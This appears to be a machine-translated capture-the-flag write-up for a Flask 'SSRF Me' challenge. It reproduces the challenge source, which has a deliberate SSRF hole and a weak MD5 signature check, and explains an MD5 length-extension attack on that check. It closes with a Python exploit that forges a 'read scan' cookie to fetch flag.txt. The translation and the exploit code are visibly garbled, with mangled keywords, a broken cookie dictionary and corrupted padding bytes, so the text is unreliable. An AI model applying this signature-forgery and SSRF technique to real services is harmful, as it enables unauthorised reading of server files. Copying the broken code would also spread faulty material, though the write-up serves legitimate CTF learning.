Given the code:
#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False #generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
The last flag in flag.txt in.
This code is written in the frame flask, the flask so that the key point for the route (route) used.
Look at these three routes
#generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read()
Enter getsign can call the scan method, enter / De1ta can get params, with a final cookie to visit code.txt.
Expand the attack position
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
EXEC methods:
def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
Determine whether there scan action, if any, the content is written into the sandbox read scan of result.txt; if read in the action, the contents of result.txt will be read out of the sandbox.
We found getSign complete analysis of the code generated by default only action for the scan signatures, we can use the contents of flag.txt read result.txt, if we want to read out the contents of result.txt you need to forge an action to read signature.
The hash value is calculated
Access http://192.168.1.104:32768/geneSign?params=flag.txt
The initial value of md5 got now need to forge the equation holds.
So ultimately need to carry a fake cookie access /De1ta?param=flag.txt can read flag
exp:
Import Requests URL = ' http://web68.buuoj.cn/De1ta?param=flag.txt ' # # generated \ X is converted into% Cookies = { Sign = 1e596ed4d19d9b2d6142b011b2af2cbd; Scan Action = 80% 00% 00% 00% % 00% 00% 00% 00 % 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00% e0 00% 00% 00% 00% 00% 00%% 00mario
} RES = requests.get (URL URL =, = Cookies Cookies) Print (res.text)